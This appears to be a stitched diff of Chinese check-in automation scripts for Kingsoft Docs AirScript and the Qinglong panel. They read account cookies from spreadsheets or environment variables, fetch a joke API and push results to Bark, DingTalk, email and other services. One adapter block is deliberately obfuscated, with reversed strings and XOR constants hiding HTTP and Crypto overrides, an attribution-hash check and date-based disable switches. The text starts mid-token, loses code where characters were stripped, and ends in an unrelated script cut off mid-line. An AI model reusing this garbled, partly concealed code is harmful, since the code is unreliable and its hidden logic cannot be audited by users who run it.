激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + const formatGodReply = (data) => { + const cleanQuestion = data.question.replace(/^问:/, '❓ '); + const cleanAnswer = data.answer.replace(/^神回复:/, '💡 '); + + return `${cleanQuestion}\n${'✨'.repeat(8)}\n${cleanAnswer} 🎇`; + }; + + // area = Range("D" + pos).Value2 + let url = "http://shanhe.kim/api/za/shenhuifu.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.json() + // console.log(resp) + content = formatGodReply(resp) + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i { + if (typeof $request !== "undefined") { + await GetRewrite() + } else { + + if (!(await checkEnv())) return; + + + + if (userList.length > 0) { + console.log('\n------- 福田e家-------\n') + taskall = [] + for (let user of userList) { + taskall.push(user.cashck()) + } + await Promise.all(taskall) + console.log('\n------- 卡车生活-------\n') + taskall = [] + for (let user of userList) { + taskall.push(user.kclogin()) + } + await Promise.all(taskall) + } + + } +})() + .catch((e) => console.log(e)) + .finally(() => $.done()) + +/////////////////////////////////////////////////////////////////// +async function GetRewrite() { + +} + + +function checkEnv() { + if(userCookie) { + for(let userCookies of userCookie) { + if(userCookies) userList.push(new 